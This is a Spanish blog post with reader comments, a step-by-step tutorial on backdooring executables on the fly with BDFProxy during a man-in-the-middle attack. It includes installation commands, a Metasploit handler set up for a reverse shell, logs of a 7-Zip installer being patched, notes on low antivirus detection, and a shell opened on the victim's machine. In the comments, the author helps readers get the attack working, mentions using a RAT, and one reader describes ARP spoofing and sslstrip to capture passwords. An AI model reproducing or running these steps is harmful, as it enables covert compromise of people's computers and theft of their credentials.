Inyecta shellcodes en ficheros exe "al vuelo" con The Backdoor Factory Proxy (BDFProxy)

The Backdoor Factory (BDF) es una herramienta escrita en Python para "parchear" binarios ejecutables añadiendo shellcodes mediante Code Cave Injection. Esto es, en lugar de abusar de una función del API de Windows para forzar que un proceso cargue un archivo DLL, asignar memoria en nuestro proceso de destino e inyectar un pequeño fragmento de código, o mejor dicho el trozo que cargará el archivo DLL. Esta es una forma más eficaz y menos detectada de inyección de código.

Más o menos, lo que hace BDF es enumerar el formato de la cabecera PE/COFF, buscar code caves que correspondan al tamaño del shellcode, insertarlo y volver a los registros/flags correspondientes para continuar con la ejecución normal del programa. Además permite "backdoorizar" un directorio entero, personalizar tus propios shellcodes y tiene un módulo de inyección bastante chulo que mirará un proceso o servicio específico para automatizar la inyección.

Y por si fuera poco, recientemente se ha publicado The Backdoor Factory Proxy (BDFProxy) que es capaz de parchear los binarios "al vuelo" durante la descarga, convirtiendo un MITM en un vector de ataque sumamente peligroso:

Su instalación en Kali Linux es sumamente sencilla:
root@kali:~# git clone https://github.com/secretsquirrel/BDFProxy bdf-proxy/
root@kali:~/bdf-proxy# ./install.sh 
root@kali:~/bdf-proxy# ./update.sh 

Necesitaremos también el módulo 'pefile' para leer y trabajar con ficheros PE (Portable Executable):
root@kali:~/bdf-proxy# wget https://pefile.googlecode.com/files/pefile-1.2.10-139.tar.gz
root@kali:~/bdf-proxy# tar -zxvf pefile-1.2.10-139.tar.gz 
root@kali:~/bdf-proxy/pefile-1.2.10-139# python setup.py install

Echamos un vistazo al fichero de configuración bdfproxy.cfg y lanzamos el script principal:
root@kali:~/bdf-proxy# ./bdf_proxy.py 
[!] Writing resource script.
[!] Resource writen to bdfproxy_msf_resource.rc
[!] Starting BDFProxy

Luego preparamos nuestro meterpreter:
msf > use multi/handler
msf  exploit(handler) > set LHOST 192.168.142.128
LHOST => 192.168.142.128
msf  exploit(handler) > set LPORT 8443
LPORT => 8443
msf  exploit(handler) > exploit -z -j

Y cuando la víctima se descargue un ejecutable de Internet se parcheará automáticamente con nuestro shellcode:


********** REQUEST **********
[*] HOST:  cznic.dl.sourceforge.net
[*] PATH:  /project/sevenzip/7-Zip/9.20/7z920.exe
********** END REQUEST **********
========== RESPONSE ==========
[*] HOST:  cznic.dl.sourceforge.net
[*] PATH:  /project/sevenzip/7-Zip/9.20/7z920.exe
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] /tmp/tmpS8kUPf backdooring complete
[*] Patching complete, forwarding to user.
========== END RESPONSE ==========

El fichero exe resultante no es FUD pero tiene una tasa de detección bastante baja:
https://www.virustotal.com/es/file/176bcf478114f69c82a2fb99b9950dbe6a2d4ca5edce099c28e591bdf1c700e3/analysis/1401706535/
     
Así que cuando la víctima ejecute el fichero exe infectado abrirá en background una sesión remota en nuestro equipo (el del atacante):     
msf exploit(handler) > [*] Command shell session 1 opened (192.168.142.128:8443 -> 172.20.3.109:11162) at 2014-06-02 01:19:36 -0400

msf exploit(handler) > 
msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Type           Information     Connection
  --  ----           -----------     ---------
  1   shell windows                  192.168.142.128:8443 -> 172.20.3.109:11162 (172.20.3.109)

  msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\vmotos\Desktop>whoami
whoami
PC23462\vmotos

9 comentarios :

  1. Me sale este error:

    root@kali:~/Desktop/bdf-proxy# ./bdf_proxy.py
    Traceback (most recent call last):
    File "./bdf_proxy.py", line 33, in
    from libmproxy import controller, proxy, platform
    ImportError: cannot import name platform

    ResponderEliminar
    Respuestas
    1. Si hice todo tal y como viene aquí, en el fichero de configuración hay que cambiar algo? o se deja tal cual?

      Eliminar
    2. como mínimo tendrás que indicar la IP a la que quieres que se conecte tu shell inverso, pero eso no es la causa del problema de importación.
      He mirado el oráculo (google) y parece que te puede faltar o estar mal instalado libmproxy. Reinstala y prueba mitmproxy a ver...

      Eliminar
  2. Hola. Consulta: ¿tienes que modificar el bdfproxy.cfg con tu IP en todas las entradas HOST, correcto? ¿Y cómo obtienes el .exe? Saludos

    ResponderEliminar
    Respuestas
    1. hola, tienes que modificar la ip de los [targets] para que se establezca la conexión inversa. El exe backdoorizado lo deja temporalmente en /tmp pero se lo transfiere de forma transparente al cliente que cree estar descargando el fichero original del sitio web...

      Eliminar
  3. es una buena tecnica pero con los troyanos como funcionaria ?

    ResponderEliminar
    Respuestas
    1. pues supongo que se podrían hacer ciertas modificaciones para sustituir el payload por un RAT u otro malware. Aunque si obtienes un shell remoto el resto es elevación de privilegios (si es necesario) y post-explotación...

      Eliminar
  4. Excelente articulo !!

    Lo he estado probando en mi red wifi local, con kali linux y un w7 como victima.
    Todo va bien.. el [!] Starting BDFProxy se queda a la escucha.. preparo metasploit..

    Pero despues con w7 me descargo cualquier exe y no sale donde tiene que infectar el exe...la de

    ********** REQUEST **********

    En que momento se hace el mitm? yo lo hago antes de ejecutar bdfproxy, lo hice tanto con arpspoof como con Ettercap... ademas se hace bien porque si pongo el sslstrip..puedo ver el usuario y clave de paginas por las que navego..

    Alguna idea de porque puede ser?

    Un saludo

    Miguel

    ResponderEliminar